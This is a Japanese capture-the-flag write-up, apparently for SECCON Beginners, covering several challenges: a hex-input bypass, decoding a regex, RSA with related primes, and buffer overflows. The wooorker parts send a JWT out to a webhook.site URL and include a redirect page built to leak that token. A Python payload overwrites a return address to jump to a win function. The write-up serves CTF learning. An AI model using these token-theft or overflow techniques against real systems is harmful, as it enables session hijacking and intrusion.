概要
Writeup
getRank
- 数字当てゲームはクライアントサイドで動いてるだけで特に意味なし。任意のスコアをランキングサーバーにinputで送りつけることができる
-
function ranking(score: number)
- 順位判定が1位になるとフラグが返ってくる
- 自分以外のプレイヤーのスコアが(疑似的に)
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
で定義されている -
10 ** 255
(10の255乗) 以上の点数を、この関数に渡す必要がある
-
function chall(input: string)
- rankingへ入る前にinputをstringからnumberへ変換
- 以下2点がポイント
- ① 300桁を超えた入力は受け付けられない
- ②
10 ** 255
より大きいスコアは、10のマイナス100乗がかかる
- challを抜けた後にscoreが
10 ** 255
より大きくなるには10 ** (255+100)
を送る必要があるが、300桁を超えてしまう
- 300桁を超えずに
10 ** (255+100)
を表現する方法を探す-
parseInt()
をバイパスできる挙動がないかなどを探してみたところ ECMAScript > tips > parseIntのおかしな挙動 を発見 - 16進数で表現すれば10進数より桁数が減るので、
0x1000...(input.lengthが300になるように0を並べる)...00
を入れて送信
-
clamre
- 問題文のヒントから、
flag.ldb
がもろflagっぽい - そのままChatGPTに入れて答えさせる
Explain this regex:
/^((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)})$/
wooorker
-
login?next={webhookのurl}
を/report
に入れると?token=
パラメータにjwtが乗ってくる - そのパラメータをそのまま手元のブラウザで
/
に送る - webhookは https://webhook.site/ を使用
woorker2
$ diff -r ./woorker/ ./woorker2/
でdiffを取る
- woorkerと(本質的に)変わったのは以下の差分のみ
diff '--color=auto' -r ./woorker/main.js ./woorker2/main.js
22c22
< window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
---
> window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
24c24
< window.location.href = `/?token=${token}`;
---
> window.location.href = `/#token=${token}`;
- Hashbangになった結果、QueryStringに乗ってこなくなってしまっている
- 手元でcurlで検証してみると、そもそも#以降はサーバー側のアクセスログに乗らないものっぽい
- ブラウザ側で ? に書き換えてあげると woorker と同じくアクセスログが取れるようになる。以下のようなページにアクセスさせる
givemetoken.html
<script>
// location.hash からトークンを取得
const hash = window.location.hash;
const token = hash.startsWith("#token=") ? hash.substring(7) : null;
if (token) {
// 新しいURLを作成
const newUrl = `${window.location.origin}${window.location.pathname}?token=${token}`;
// リダイレクト
window.location.replace(newUrl);
}
</script>
Safe Prime
n=pqとq=2p+1からn=2p^2+pでpが求まる
solve.py
from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537
from sympy import symbols, Eq, solve
# p = symbols('p')
# equation = Eq(n, 2*p**2 + p)
# solutions = solve(equation, p)
# print(f"{solutions = }")
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 2 * p + 1
print(f"{p = }")
print(f"{q = }")
print(f"{n = }")
print(f"{p*q = }")
phi = (p-1)*(q-1)
print(f"{phi = }")
d = pow(e, -1, phi)
print(f"{d = }")
# m = c^e-1
# ϕ(N)=(p−1)(q−1)
m = pow(c, d, n)
plaintext = long_to_bytes(m)
print(f"{plaintext = }")
simpleoverflow
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaߣ�
ctf4b{flag}
simpleoverwrite
$ objdump -d ./chall | grep win
0000000000401186 <win>:
payload.py
import struct
# win関数のアドレス
win_address = 0x401186
# バッファオーバーフローを引き起こす入力
# 18バイトのパディング
payload = b'A' * 18
# win関数のアドレスをリトルエンディアン形式で追加
payload += struct.pack('<Q', win_address)
# ファイルに書き出す
with open('payload', 'wb') as f:
f.write(payload)
$ cat payload - | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, AAAAAAAAAAAAAAAAAA�@
return to: 0x401186
ctf4b{flag}